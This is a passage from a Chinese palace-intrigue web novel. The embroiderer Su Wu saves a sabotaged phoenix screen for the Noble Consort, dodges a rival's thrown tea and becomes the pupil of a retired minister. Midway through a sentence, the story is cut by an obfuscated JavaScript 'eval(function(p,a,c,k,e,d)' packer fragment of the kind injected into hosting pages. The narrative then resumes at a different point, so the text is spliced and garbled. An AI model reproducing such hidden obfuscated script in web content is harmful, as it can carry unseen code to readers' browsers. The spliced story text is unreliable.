她想起温氏是温庭远的侄女,想起王大曾说过,温庭远是隐退的老臣,心系天下,却因奸佞当道,不得不隐退。她的心底,渐渐生出了一个念头——她要结识温庭远,要学习更多的东西,要拥有更大的力量,不仅要让锦绣阁发展壮大,还要在这朝堂的暗流中,找到自己的位置,活出真正的自己。 5. 纹惊宫廷·初遇良师 暮春的京城,褪去了隆冬的凛冽,护城河畔的柳丝抽了新绿,街边的海棠开得如云似霞,锦绣阁的朱红大门前,车马往来比往日更甚,门楣上的黑底金字牌匾,在春日的阳光下熠熠生辉。自苏芜执掌账房与纹样设计以来,不过三月光景,这京城里最大的绣坊,便焕发出了全然不同的生机。 苏芜的偏房,成了锦绣阁最热闹的地方。原本不过是一间简陋的厢房,被她拾掇得干净雅致,靠窗摆着一张梨花木桌,桌上铺着素色锦缎,摆着炭笔、宣纸、丝线样本,还有一架小巧的算盘,桌角堆着厚厚的账目册,每一本都记得工工整整,字迹虽算不上娟秀,却笔笔清晰,力透纸背。青禾总守在桌边,替她磨墨、理线、整理账目,偶尔也会拿着绣绷,请教纹样的绣制技巧,苏芜便一边拨着算盘,一边轻声指点,眉眼间没有半分身居高位的倨傲,依旧是那副温润坚定的模样。 初时,绣坊里的老绣娘们还有诸多不服。她们大多在锦绣阁做了十几年,手艺精湛,见苏芜不过是个乡下来的杂役,一朝登天便执掌纹样设计,心里难免憋着气。有资历最老的张绣娘,曾是张嬷嬷的心腹,更是处处作对,苏芜设计的新纹样,她总挑三拣四,说“乡野路子登不得大雅之堂”,苏芜让她按新纹样绣制,她便阳奉阴违,依旧按着老样子绣,绣出来的东西不伦不类。 苏芜从未与她争辩,只是当着温氏和所有绣娘的面,取来张绣娘的绣品,又取来自己按新纹样绣的小样,两相对比。张绣娘的绣品,牡丹开得雍容却刻板,线条僵硬,毫无生气;而苏芜的小样,不过是寸许的荷莲,叶边带着晨露,蜻蜓停在荷尖,翅膀的薄纱用晕针绣制,近乎透明,连翅脉都清晰可见,一眼望去,仿佛能嗅到荷塘的清润,感受到蜻蜓振翅的微风。 “绣娘的手艺,在于针脚,更在于心意。”苏芜的声音不高,却字字清晰,“宫廷的富贵纹样固然好看,可看久了便觉乏味。如今世家贵女,皆喜清新灵动之物,寻常百姓,也爱贴近生活的纹样。我设计的纹样,不过是把乡野间的鲜活,融进绣品里,让绣品有了生气,而非只是一块绣了花的锦缎。” 她说着,又拿起张绣娘绣坏的锦缎,用炭笔在上面稍作修改,将刻板的牡丹旁添了几枝疏朗的竹枝,又在花瓣边点了几只飞舞的蝴蝶,瞬间便让整幅绣品活了过来:“绣活不是墨守成规,而是顺势而为。张绣娘手艺精湛,只是被老路子困住了,若能放开手脚,绣出来的东西,定然比我更好。” 苏芜的话,既点出了问题,又给足了张绣娘脸面,再加上那一手出神入化的改纹技巧,让在场的绣娘们心服口服。张绣娘红了脸,低头说了句“受教了”,此后便再也不与苏芜作对,反倒成了最拥护她的绣娘,将苏芜的纹样绣得惟妙惟肖。 苏芜也从未藏私,她将自己的绘纹技巧,还有从乡野间悟来的自然之法,尽数教给绣娘们。她教她们观察院中的花草、枝头的雀鸟,让她们把看到的鲜活,融进针脚里;她教她们根据不同的锦缎质地,调整绣法,让纹样与锦缎融为一体;她还根据每个绣娘的特长,分配不同的纹样绣制,手巧的绣精细的花鸟,力气大的绣大气的山水,让每个人的本事都能发挥到极致。 短短三月,锦绣阁的绣品便彻底变了模样。荷莲蜻蜓、竹枝雀鸟、丹桂秋菊,这些带着乡野清趣的纹样,取代了往日刻板的富贵牡丹,成了京城里的新潮流。世家贵女争相定制绣帕、绣裙,寻常百姓也舍得买上一方绣着小花的荷包,连宫里的尚衣局,都派人来锦绣阁,取了新纹样的样本回去参考。 账房这边,苏芜更是打理得井井有条。她将张嬷嬷留下的糊涂账一一理清,剔除了那些吃回扣的采买商,重新挑选了诚信可靠的供货商,将绸缎、丝线的价格压到最低,却保证质量;她还制定了新的账册制度,每日的采买、销售、绣娘的月钱,都记在专门的账册上,一日一结,一月一查,任何人都做不了手脚。温氏看过新的账目册,看着翻了近一倍的收益,对苏芜愈发信任,索性将锦绣阁的大小事务,都交给了苏芜打理,自己只偶尔来绣坊看看,落个清闲。 苏芜依旧不敢懈怠,每日天不亮便起床,先梳理前一日的账目,再根据订单设计新的纹样,晌午陪着绣娘们一起绣制,解决她们遇到的问题,傍晚又核对当日的采买,常常忙到深夜。青禾总心疼她,偷偷给她留着温热的莲子羹,劝她歇一歇,苏芜却只是笑,揉了揉青禾的头:“如今锦绣阁正是站稳脚跟的时候,不能有半分差错。等一切安稳了,我便陪你去护城河畔看柳花。” 青禾便点点头,把莲子羹推到她面前,又拿起账册帮她核对,小小的身影,成了苏芜身边最坚实的依靠。王大也依旧守着锦绣阁的后院,挑水劈柴,搬抬布料,谁要是敢在绣坊里说苏芜一句坏话,他第一个不依,成了苏芜的“护院”。绣坊里的人,从上到下,都对苏芜心服口服,往日里的勾心斗角,被一股融融的暖意取代,锦绣阁的日子,仿佛也像这春日的光景,一路向好。 可苏芜心里清楚,京城的繁华之下,从来都藏着暗流,锦绣阁的风头太盛,迟早会引来旁人的觊觎。她的预感,很快便成了现实。 这日午后,尚衣局的掌事姑姑亲自来了锦绣阁,身后跟着十几个宫女,抬着几匹御赐的云锦,还有一道明黄色的圣旨。温氏和苏芜连忙接旨,圣旨上写着,贵妃娘娘生辰将至,命锦绣阁在一月之内,绣制一幅六尺见方的百鸟朝凤绣屏,作为寿礼,若是绣得合心意,便封锦绣阁为“宫廷专供绣坊”,往后宫里的绣品,皆由锦绣阁承制。 这是天大的恩典,也是天大的考验。六尺见方的绣屏,百鸟朝凤,工序繁杂,寻常绣坊至少要三个月才能完成,而尚衣局只给了一月时间;更何况,贵妃娘娘性情挑剔,对绣品要求极高,若是有半分不满意,不仅恩典泡汤,还可能获罪。 温氏接过圣旨,脸上满是喜色,却也藏着担忧,拉着苏芜的手道:“苏芜,这是锦绣阁千载难逢的机会,只是时间太紧,难度太大,你可有把握?” 苏芜看着那几匹御赐的云锦,云锦质地柔软,色泽艳丽,是绣制绣屏的绝佳材料,她又想起圣旨里的百鸟朝凤,往日的百鸟朝凤,凤鸟居于正中,姿态威严,百鸟环绕,却依旧刻板,若是能做出新意,定能让贵妃娘娘满意。她沉吟片刻,抬眼看向温氏,眼底满是坚定:“东家放心,奴婢定不辱命,一月之内,必绣出百鸟朝凤绣屏。” 掌事姑姑见苏芜年纪轻轻,却语出坚定,眼底闪过一丝诧异,随即笑道:“温东家,这位便是苏姑娘吧?早听说锦绣阁出了个能设计新纹样的才女,今日一见,果然气度不凡。贵妃娘娘的寿礼,可就拜托苏姑娘了,若是绣得好,姑姑在娘娘面前,定然为苏姑娘美言。” 苏芜躬身行礼,道:“劳烦掌事姑姑费心,奴婢定竭尽全力。” 掌事姑姑又叮嘱了几句,便带着宫女离开了。温氏看着苏芜,松了口气:“有你这句话,我便放心了。绣坊里的所有人,都由你调遣,需要什么材料,只管说,哪怕是寻遍京城,我也给你找来。” “谢东家。”苏芜道,“奴婢只需绣坊的绣娘们齐心协力,再寻些上好的金线、孔雀羽线,便足够了。” 接下来的日子,锦绣阁便进入了紧张的赶工状态。苏芜将绣娘们分成六组,每组负责绣制一种鸟类,张绣娘手艺最精湛,负责绣制正中的凤鸟,苏芜则亲自设计纹样,指导绣制。往日里的百鸟朝凤,凤鸟皆是金红相间,居于正中,翅膀僵硬,而苏芜设计的凤鸟,以御赐云锦的绯红为底,用金线绣制羽毛,孔雀羽线绣制尾羽,尾羽舒展,如流云般散开,凤鸟的姿态,不是威严的立姿,而是振翅欲飞的模样,仿佛下一秒便要从绣屏上飞出来。 百鸟也并非刻板的环绕,而是或飞、或鸣、或栖,燕子掠过枝头,黄鹂停在花间,仙鹤立于石上,麻雀穿梭于草丛,每一只鸟都姿态各异,鲜活灵动,连鸟的羽毛,都根据不同的种类,用不同的绣法绣制,麻雀的羽毛用短针,蓬松柔软;仙鹤的羽毛用长针,疏朗飘逸;黄鹂的羽毛用晕针,色泽艳丽。苏芜还在绣屏的边角,添了几枝盛开的海棠,海棠的花瓣用薄纱绣制,近乎透明,与百鸟相映成趣,整幅绣屏,既有宫廷的富贵大气,又有乡野的鲜活灵动,一眼望去,便让人移不开眼。 绣娘们都被这新颖的纹样惊艳了,个个卯足了劲,日夜赶工,苏芜也守在绣坊里,日夜不休,一会儿指导绣娘们的针脚,一会儿修改纹样的细节,累了便靠在桌边歇片刻,喝一口青禾递来的茶水,便又继续忙活。青禾也跟着一起绣,小小的手捏着绣针,绣得格外认真,王大则守在绣坊门口,不许任何人随意进出,生怕打扰了绣娘们赶工。 一切都在有条不紊地进行着,眼看绣屏就要完成,意外却发生了。 这日清晨,苏芜像往常一样去绣坊查看绣屏,刚走进绣坊,便看到张绣娘瘫坐在地上,脸色惨白,绣屏被扔在一旁,凤鸟的尾羽被人剪去了一大片,原本绣得精致的尾羽,变得残缺不全,而绣屏的角落,还被人用墨汁涂了一大团黑渍,乌黑的墨汁渗进云锦,根本无法清洗。 绣娘们都围在一旁,惊慌失措,议论纷纷:“这可怎么办?还有十天就要交绣屏了,凤鸟的尾羽被剪,墨汁涂了云锦,根本补不好啊!” “是谁这么狠心?竟然做出这样的事!这可是御赐的云锦,弄坏了是要杀头的!” “肯定是有人故意陷害我们锦绣阁,不想让我们做成这宫廷订单!” 苏芜的心头一沉,快步走到绣屏前,蹲下身查看。凤鸟的尾羽是用珍贵的孔雀羽线绣制的,被人用剪刀齐齐剪去,边缘参差不齐,而墨汁是最浓的松烟墨,渗进了云锦的纹路里,确实难以清洗。她的目光扫过绣坊,地上有几滴散落的墨汁,还有一根不属于绣坊的银簪,簪子上刻着一朵精致的牡丹,一看便是贵女的饰物。 青禾也慌了,拉着苏芜的手道:“苏芜姐姐,这可怎么办?是谁干的?我们要不要报官?” 苏芜深吸一口气,压下心底的慌乱,站起身,对着众人沉声道:“大家都冷静点,不过是一点小意外,还能补救。报官的事,暂且不提,若是闹到官府,惊动了尚衣局,贵妃娘娘怪罪下来,我们都担待不起。” 她的声音平静,却带着一股安定人心的力量,绣娘们渐渐安静下来,看着她道:“苏姑娘,那你说,这绣屏还能补好吗?” “能。”苏芜的目光落在绣屏上,眼底闪过一丝笃定,“凤鸟的尾羽被剪,我们便换一种纹样,将残缺的部分,绣成流云绕凤;墨汁的黑渍,我们便在上面绣成一朵墨菊,以墨为底,用金线绣制花瓣,反倒能添几分雅致。只是需要大家再加把劲,日夜赶工,定能在十日之内补好。” 众人见苏芜胸有成竹,都松了口气,纷纷点头:“我们听苏姑娘的,哪怕不睡觉,也要把绣屏补好!” 苏芜点点头,安排绣娘们立刻开始补绣,又让青禾去取金线和新的孔雀羽线,自己则拿着炭笔,在绣屏上勾勒新的纹样,流云绕凤,墨菊映海棠,原本的残缺,竟被她勾勒出了另一番美感。 可苏芜的心里,却清楚地知道,这绝不是意外,而是有人故意陷害。那根银簪,还有地上的墨汁,都指向了一个人——京城柳太傅家的庶女,柳清柔。 柳清柔,是京城里出了名的骄纵贵女,仗着柳太傅的权势,横行霸道,目空一切。她与温氏是旧识,却一向嫉妒温氏的锦绣阁生意兴隆,前些日子,她来锦绣阁挑选绣品,见苏芜不过是个乡野女子,却能执掌锦绣阁的大权,温氏对她言听计从,心里便生出了嫉妒,当场便出言嘲讽,说苏芜“一身泥腥气,不配设计贵女的绣品”。 苏芜当时并未与她争辩,只是淡淡回了句“绣品无贵贱,心意最珍贵”,便转身离开了。柳清柔觉得自己丢了脸面,当场便摔了绣品,骂骂咧咧地走了。苏芜便料到,她定然会伺机报复,只是没想到,她竟如此大胆,敢弄坏御赐的云锦绣屏。 那根银簪,苏芜曾见过,柳清柔来锦绣阁时,头上便插着这样一根牡丹银簪。而松烟墨,是柳家书房常用的墨,寻常人家,根本用不起这样名贵的墨。 证据确凿,可苏芜却不能立刻找柳清柔对质。柳太傅是朝堂上的重臣,权倾朝野,若是没有十足的把握,不仅扳不倒柳清柔,还会让锦绣阁陷入万劫不复之地。苏芜只能压下心底的怒火,一边让绣娘们赶工补绣屏,一边暗中调查,收集柳清柔陷害锦绣阁的证据。 她让王大悄悄去柳府附近打探,又让账房先生查锦绣阁的采买记录,看看有没有人接触过柳清柔。不出三日,王大便带回了消息,说绣坊里的一个小绣娘,前几日偷偷见过柳清柔,柳清柔给了她一百两银子,让她弄坏绣屏。而账房先生也查到,那个小绣娘,近日突然买了许多名贵的首饰,根本不是她的月钱能负担的。 苏芜看着眼前的证据,眼底闪过一丝冷意。那个小绣娘,名叫春桃,是张嬷嬷的远房侄女,张嬷嬷被赶出锦绣阁后,她便一直心怀怨恨,柳清柔正是抓住了她的这点心思,收买了她。 苏芜没有立刻拆穿春桃,只是像往常一样,让她参与绣屏的补绣,却暗中让青禾和张绣娘盯着她,不让她再有机会破坏绣屏。春桃心里有鬼,做事总是心不在焉,绣的针脚歪歪扭扭,苏芜便借着这个由头,将她调到后院,让她做浆洗的活,彻底远离了绣屏。 十日的时间,转瞬即逝。绣娘们日夜赶工,苏芜也守在绣坊里,寸步不离,终于在尚衣局来取绣屏的前一日,将绣屏补好。补好的绣屏,比原本的设计更胜一筹,流云绕着凤鸟的尾羽,如仙境般缥缈,墨菊开在海棠边,黑白相映,雅致大气,百鸟依旧鲜活,凤鸟振翅欲飞,整幅绣屏,浑然天成,找不出半分瑕疵。 温氏看着绣屏,喜极而泣,拉着苏芜的手道:“苏芜,你真是锦绣阁的福星!这绣屏,比我想象的还要好,贵妃娘娘定然会喜欢!” 苏芜笑了笑,道:“这都是绣娘们齐心协力的功劳,奴婢不过是做了些分内之事。” 第二日,尚衣局的掌事姑姑亲自来了锦绣阁,身后跟着抬绣屏的宫人。掌事姑姑看到绣屏的那一刻,眼睛瞬间亮了,绕着绣屏走了三圈,连连赞叹:“好!好一幅百鸟朝凤绣屏!贵妃娘娘见了,定然会龙颜大悦!苏姑娘的手艺,真是绝了!” 她说着,又看向苏芜,眼底满是欣赏:“苏姑娘年纪轻轻,竟有如此才华,真是难得。姑姑这就把绣屏送进宫,定在娘娘面前,为苏姑娘和锦绣阁美言。” 苏芜躬身行礼,道:“劳烦掌事姑姑。” 掌事姑姑带着宫人,抬着绣屏,欢欢喜喜地走了。绣坊里的绣娘们,都欢呼起来,连日来的疲惫,都化作了喜悦。苏芜看着众人的笑脸,也松了口气,可她知道,柳清柔不会善罢甘休,这一次的陷害失败,她定然会想出更恶毒的法子。 果然,不出三日,宫里便传来消息,贵妃娘娘对百鸟朝凤绣屏极为满意,下旨封锦绣阁为“宫廷专供绣坊”,赏了温氏和苏芜许多珍宝,还特意宣苏芜进宫,想要见一见这位设计出如此精美纹样的才女。 消息传到柳府,柳清柔气得摔了一屋子的东西,将桌上的茶盏扫落在地,尖叫道:“苏芜那个贱婢!竟然还能翻身!本宫定要让她身败名裂,死无葬身之地!” 一旁的侍女吓得瑟瑟发抖,不敢出声。柳清柔喘着粗气,眼底闪过一丝阴狠,她走到窗边,看着远处的皇宫,嘴角勾起一抹恶毒的笑:“苏芜,你不是喜欢设计纹样吗?你不是想进宫见贵妃娘娘吗?本宫便让你进宫,只是这宫墙之内,可不是你想进就能进,想走就能走的!” 苏芜接到进宫的旨意时,正在设计新的宫廷纹样,青禾拿着圣旨跑进来,脸上满是喜色:“苏芜姐姐,宫里传旨了,贵妃娘娘要见你!” 苏芜放下炭笔,接过圣旨,眼底闪过一丝平静。她知道,进宫既是恩典,也是危机,柳清柔定然会在宫里等着她,给她设下陷阱。可她没有选择,只能进宫,若是能得到贵妃娘娘的赏识,锦绣阁便能在京城彻底站稳脚跟,若是躲着不去,反倒落了把柄,让柳清柔有机可乘。 温氏也赶来偏房,看着苏芜道:“苏芜,进宫见驾,非同小可,你一定要小心谨慎,言多必失,贵妃娘娘问什么,你便答什么,切勿多言。柳清柔定然会在宫里找你的麻烦,你切记,忍一时风平浪静,切勿与她硬碰硬。” “奴婢知道了,东家放心。”苏芜道,“奴婢定当小心,不会给锦绣阁惹麻烦。” 温氏点点头,让人取来一身新的青布衣裙,给苏芜换上,又替她整理了发髻,叮嘱道:“你虽只是绣坊的女眷,可也是奉了圣旨进宫,不必太过卑微,也不可太过张扬,不卑不亢,便是最好。” 苏芜躬身道谢,又拉过青禾的手,道:“青禾,我进宫之后,绣坊里的事,便拜托你和张绣娘打理,若是有什么事,便让人去温府找东家,切勿自作主张。” 青禾点点头,眼眶红红的:“苏芜姐姐,你一定要小心,我在绣坊等你回来。” 王大也赶来,对着苏芜道:“苏姑娘,我送你到宫门口,若是宫里有什么动静,我便立刻回绣坊报信。” 苏芜点点头,谢过众人,便跟着传旨的宫人,朝着皇宫走去。 皇宫的朱红大门,巍峨矗立,宫墙高耸,青砖黛瓦,透着一股威严与冰冷。苏芜跟在宫人身后,一步步走进宫墙,脚下的青石板路,光滑如镜,映着她的身影,两旁的宫灯高悬,雕梁画栋,金碧辉煌,却让人觉得压抑。 她跟着宫人走到御花园的沁芳亭,贵妃娘娘正与几位贵女坐在亭中赏花,柳清柔也在其中,穿着一身粉色的锦裙,头上插着金步摇,见苏芜走来,嘴角勾起一抹讥讽的笑,眼底满是不屑。 苏芜躬身行礼,声音清亮:“奴婢苏芜,参见贵妃娘娘,娘娘金安。” 贵妃娘娘抬眼看向苏芜,见她虽穿着普通的青布衣裙,却身姿挺拔,眉眼坚定,毫无半分怯意,眼底闪过一丝诧异,随即笑道:“你便是苏芜?抬起头来,让本宫看看。” 苏芜缓缓抬头,目光平视,不卑不亢。贵妃娘娘看着她的眉眼,点了点头:“果然是个灵秀的姑娘,难怪能设计出那般精美的百鸟朝凤绣屏。本宫看了那绣屏,甚是喜欢,你的心思,倒是巧得很。” “谢娘娘夸奖,奴婢只是略懂绘纹,不敢当娘娘的夸赞。”苏芜道。 “你倒是谦虚。”贵妃娘娘笑了笑,指着亭中的一张石桌,“来,坐在这里,陪本宫说说话。本宫听说,你设计的纹样,皆是乡野间的花鸟,倒是与宫里的纹样大不相同,你是怎么想到的?” 苏芜谢过贵妃娘娘,坐在石桌旁,道:“奴婢出身乡野,自小见惯了山间的花鸟草木,那些鲜活的景致,都刻在了奴婢的心里。奴婢觉得,绣品本就是为了装点生活,若是少了鲜活的心意,便失了趣味,所以便将乡野间的景致,融进了纹样里,没想到能入娘娘的眼。” 贵妃娘娘闻言,更是喜欢:“说得好!宫里的绣品,太过刻板,倒是你这乡野的路子,更合本宫的心意。往后宫里的绣品,便都由你设计,尚衣局的绣娘们,也由你指点,你可愿意?” 这又是天大的恩典,若是答应,苏芜便成了宫里的御用纹样设计师,锦绣阁的地位,便无人能撼动。可苏芜却躬身道:“娘娘抬爱,奴婢感激不尽,只是奴婢身为民女,粗鄙无知,恐难当此任。况且锦绣阁还有诸多事务,奴婢离不开,只能替娘娘设计纹样,指点尚衣局的绣娘们,却不能留在宫里。” 她知道,宫墙之内,步步惊心,若是留在宫里,便成了各方势力争夺的棋子,身不由己。她只想守着锦绣阁,守着青禾和一众绣娘们,安稳度日,不愿卷入宫廷的纷争。 贵妃娘娘见她拒绝得干脆,却又言辞恳切,眼底闪过一丝欣赏,道:“你倒是个通透的姑娘,不贪慕富贵,难能可贵。也罢,便依你,你只需替本宫设计纹样,指点尚衣局的绣娘们便可,不必留在宫里。” “谢娘娘体恤。”苏芜躬身道谢。 一旁的柳清柔见贵妃娘娘对苏芜如此赏识,心里的嫉妒更甚,她端起桌上的茶盏,走到苏芜面前,故作娇柔地笑道:“苏姑娘真是好本事,不过是乡野间的丫头,竟能得到贵妃娘娘的如此厚爱,真是让人羡慕。只是不知,苏姑娘的手艺,是不是真的像传闻中那般好?不如今日,便在娘娘面前露一手,让我们开开眼界如何?” 她说着,便将手中的茶盏,朝着苏芜的身上泼去,滚烫的茶水,朝着苏芜的脸颊和衣裙泼来,柳清柔的眼底,闪过一丝阴狠,她要让苏芜在贵妃娘娘面前出丑,让贵妃娘娘厌弃她。 周围的贵女们都惊呼起来,贵妃娘娘也皱起了眉头。苏芜却反应极快,侧身避开,滚烫的茶水擦着她的衣袖飞过,洒在地上,溅起几滴水花。她稳稳地站在原地,衣衫未湿,眉眼依旧平静,看着柳清柔,淡淡道:“柳姑娘,好端端的,为何要泼奴婢茶水?” 柳清柔见苏芜避开了,心里有些恼怒,却故作无辜地笑道:“哎呀,真是不好意思,苏姑娘,本宫不是故意的,只是手滑了。看来苏姑娘的身手,倒是比绣活还好,难怪能在锦绣阁里,一手遮天。” 她的话,意有所指,暗指苏芜在锦绣阁里横行霸道,手段狠辣。 苏芜却不恼,只是淡淡道:“柳姑娘说笑了,奴婢只是反应快了些。至于锦绣阁,不过是东家信任,绣娘们齐心协力,并非奴婢一手遮天。柳姑娘出身名门,知书达理,想必也知道,随意泼人茶水,并非贵女所为。” 她的话,不卑不亢,既反驳了柳清柔的暗指,又点出了她的失礼,让柳清柔的脸色一阵红一阵白。 贵妃娘娘也看出了柳清柔的故意,脸色沉了下来,道:“清柔,休得无礼!苏姑娘是本宫请来的客人,你怎可如此对待?还不快向苏姑娘道歉!” 柳清柔没想到贵妃娘娘会当众斥责她,心里又气又恨,却不敢违抗贵妃娘娘的旨意,只能不情不愿地对着苏芜道:“苏姑娘,对不起,本宫不是故意的。” “柳姑娘言重了,奴婢不敢当。”苏芜淡淡道,并未接受她的道歉,也并未得寸进尺,点到即止。 贵妃娘娘看着苏芜的模样,更是满意,觉得她识大体,有分寸,便对着身边的侍女道:“取本宫的玉镯来,赏给苏姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏芜的心底,也生出了这样的念头。她如今的力量,太过微薄,若是想保护锦绣阁,保护身边的人,必须要有贵人相助,要有足够的力量,对抗柳清柔和朝堂上的奸佞势力。而她心里,已经有了一个人选——温庭远。 温庭远,温氏的叔父,前太子太傅,因不满朝堂上奸佞当道,贵妃的兄长丞相魏忠贤专权,便辞官归隐,居于京城的温府,闭门不出。他是朝堂上的忠良之臣,心系天下,虽归隐田园,却依旧在暗中联络忠良之士,想要扳倒魏忠贤,还朝堂一个清明。 温氏曾与苏芜提起过温庭远,说他学识渊博,洞察人心,只是性情孤傲,不轻易接见外人。苏芜觉得,若是能得到温庭远的指点,甚至相助,她便能看清朝堂的暗流,找到对抗柳清柔和魏忠贤的方法,让锦绣阁在这乱世之中,站稳脚跟。 只是温庭远归隐多年,不轻易接见外人,苏芜一个乡野出身的绣坊女眷,想要见他,并非易事。 机会,却来得比苏芜想象的更快。 几日后,温氏派人来绣坊,请苏芜去温府赴宴,说是温庭远听闻了她的事,想要见一见她。苏芜听到消息时,正在设计新的宫廷纹样,手中的炭笔一顿,眼底闪过一丝惊喜,她立刻放下炭笔,整理了衣衫,便跟着来人,朝着温府走去。 温府居于京城的西巷,远离闹市,朱红的大门紧闭,门旁种着几株翠竹,透着一股清雅的气息。走进温府,庭院深深,假山流水,亭台楼阁,皆透着一股书卷气,与柳府的奢华截然不同。 苏芜跟着来人走到书房,温氏正站在书房门口,见她走来,笑道:“苏芜,你可来了,叔父正在书房里等你,他的性子孤傲,你进去之后,切勿多言,他问什么,你便答什么。” 苏芜点点头,道:“奴婢知道了。” 温氏推开书房的门,苏芜躬身走了进去。书房很大,四壁皆摆满了书籍,书卷的墨香扑面而来,书桌后,坐着一位须发皆白的老者,老者穿着一身素色的儒衫,面容清癯,眼神却炯炯有神,透着一股洞察一切的智慧,正是温庭远。 苏芜躬身行礼,道:“民女苏芜,见过温太傅。” 温庭远抬眼看向苏芜,目光如炬,扫过她的全身,仿佛能看透她的心底。苏芜被他的目光看着,却依旧身姿挺拔,不卑不亢,眼底没有半分怯意。 许久,温庭远才开口,声音苍老却有力:“你便是苏芜?那个从乡野来的,执掌锦绣阁,设计出百鸟朝凤绣屏的姑娘?” “正是民女。”苏芜道。 “抬起头来。”温庭远道。 苏芜缓缓抬头,与他的目光对视,眼底平静,毫无波澜。 温庭远看着她的眉眼,点了点头:“不错,眼神坚定,身姿挺拔,虽是乡野出身,却有一身傲骨,难怪能在京城站稳脚跟,还能躲过柳清柔的刁难,得到贵妃的赏识。” 苏芜道:“太傅过奖,民女不过是运气好,有东家相助,绣娘们齐心协力,才得以站稳脚跟。” “运气?”温庭远笑了笑,“在这京城,在这乱世,光有运气,是远远不够的。你能从杂役做到锦绣阁的执掌人,能设计出惊艳宫廷的纹样,能在柳清柔的刁难下全身而退,靠的不是运气,是你的智慧,你的韧性,你的通透。” 他的话,一语道破了苏芜的本事,让苏芜的心底,生出一丝敬佩。 温庭远又道:“我听说,你不仅会绘纹,还会理账,甚至懂些草药知识,是吗?” “民女自小在乡野长大,为了活下去,便学了些粗浅的本事,不值一提。”苏芜道。 “粗浅的本事?”温庭远摇了摇头,“能把锦绣阁的账目打理得井井有条,让收益翻一倍,这可不是粗浅的本事;能懂草药,救人性命,也不是粗浅的本事;能从乡野走到京城,从杂役做到宫廷御用设计师,这更不是粗浅的本事。苏芜,你是个难得的人才,若是只守着一个锦绣阁,未免太过可惜。” 苏芜躬身道:“民女出身微寒,不敢奢求太多,只求能守着锦绣阁,守着身边的人,安稳度日,便足矣。” “安稳度日?”温庭远的目光沉了下来,看向窗外,“如今大靖王朝,皇权渐弱,魏忠贤专权,柳太傅之流趋炎附势,奸佞当道,民不聊生,这天下,早已没有安稳之地。你以为,守着一个锦绣阁,便能安稳度日吗?柳清柔今日能陷害你弄坏绣屏,明日便能联合魏忠贤,抄了你的锦绣阁,取了你的性命。在这乱世,想要安稳度日,唯有手握力量,唯有站在高处,唯有拨乱反正,还天下一个清明。” 他的话,字字铿锵,敲在苏芜的心底。苏芜也知道,这天下早已没有安稳之地,可她只是一介女流,出身微寒,纵使有几分本事,又能做些什么? 仿佛看穿了她的心思,温庭远道:“你以为,一介女流,便不能有所作为吗?古有穆桂英挂帅,樊梨花征西,女子未必不如男。你有智慧,有韧性,有通透的心思,还有过目不忘的天赋,若是加以点拨,定能成为搅动这天下的力量。锦绣阁虽是绣坊,却连接着宫廷与民间,你的纹样,能走进深宫,能传遍民间,这便是你的力量。” 苏芜的心底,掀起了惊涛骇浪。她从未想过,自己的绣坊,自己的纹样,竟能成为搅动天下的力量。温庭远的话,像一盏明灯,照亮了她前行的路,让她看清了自己的力量,也看清了这天下的暗流。 她躬身道:“太傅所言,让民女茅塞顿开。只是民女愚钝,不知该如何做,还望太傅指点。” 温庭远看着她,眼底闪过一丝欣慰,道:“你能想通,便是最好。我今日见你,便是想点拨你一二。往后,你只需守好锦绣阁,用你的纹样,连接宫廷与民间,替我收集朝堂与民间的消息。锦绣阁的绣品,能走进各个世家,各个府邸,那些绣品的纹样,便能成为你传递消息的工具。我会教你读书识字,教你洞察人心,教你应对朝堂的纷争,让你拥有足够的力量,保护自己,保护身边的人,甚至,改变这天下。” 这是一份沉甸甸的托付,也是一份沉甸甸的期望。苏芜知道,若是答应,她便会卷入朝堂的纷争,从此身不由己,前路布满荆棘,甚至可能丢掉性命。可若是不答应,她便只能守着锦绣阁,任人宰割,柳清柔和魏忠贤的刀,迟早会架在她的脖子上。 更重要的是,温庭远的话,让她的心底,生出了一丝从未有过的念头。她不再只是想活下去,不再只是想守着锦绣阁,她想拥有力量,想保护那些和她一样出身微寒,被人欺凌的人,想让这天下,少一些奸佞,多一些清明,让像她和青禾一样的孤女,能有一个安稳的容身之所。 苏芜跪在地上,对着温庭远重重一拜,声音坚定:“民女苏芜,愿听太傅指点,愿为太傅所用,愿为这天下的清明,尽绵薄之力!” 温庭远看着跪在地上的苏芜,眼底闪过一丝笑意,伸手扶起她:“好!好!不枉我看中你!从今往后,你便是我的弟子,我会将我毕生所学,尽数教给你。只是你要记住,这条路,注定艰难,注定孤独,你可后悔?” “民女不悔!”苏芜的目光,无比坚定,“纵使前路布满荆棘,纵使身临险境,民女也绝不后悔!” 从温府出来时,已是深夜,京城的街道上,灯火阑珊,晚风拂过,带着一丝凉意,却吹不散苏芜心底的炽热。她抬头看向夜空,繁星点点,照亮了前行的路。 她知道,从今日起,她的人生,便彻底改变了。她不再只是锦绣阁的苏芜,不再只是一个设计纹样的绣娘,她成了温庭远的弟子,成了朝堂忠良之士的一员,成了搅动天下暗流的一颗棋子。 锦绣阁的风雨,不过是京城风雨的一角,而真正的风雨,才刚刚开始。 回到锦绣阁,青禾还在偏房等她,见她回来,连忙迎上来:“苏芜姐姐,你回来了,温太傅他……” 苏芜看着青禾担忧的模样,笑了笑,揉了揉她的头,眼底满是坚定:“青禾,从今日起,我们的日子,会越来越好,也会越来越难。但你放心,我会保护你,保护锦绣阁的所有人,让我们都能好好活下去。” 青禾看着苏芜眼底的坚定,似懂非懂地点了点头,紧紧拉着她的手:“苏芜姐姐,我相信你,无论多难,我都会跟着你,永远不离开你。” 苏芜点点头,握紧了青禾的手。窗外的月光,洒进偏房,落在桌上的纹样纸上,纸上的荷莲蜻蜓,在月光下,愈发鲜活。 她的身边,有青禾的陪伴,有张绣娘、王大等绣坊众人的支持,有温氏的信任,还有温庭远的指点,纵使前路布满荆棘,纵使朝堂暗流涌动,她也无所畏惧。 她会像那石缝里的野草,倔强生长;像那绣屏上的凤鸟,振翅高飞。她会用自己的智慧,自己的韧性,自己的绣针与炭笔,在这大靖王朝的天地间,走出一条属于自己的路,活成自己的光,也活成那些身处黑暗的人的光。 而柳清柔,魏忠贤,那些欺辱她、陷害她、想要置她于死地的人,她都会一一反击,让他们付出应有的代价。 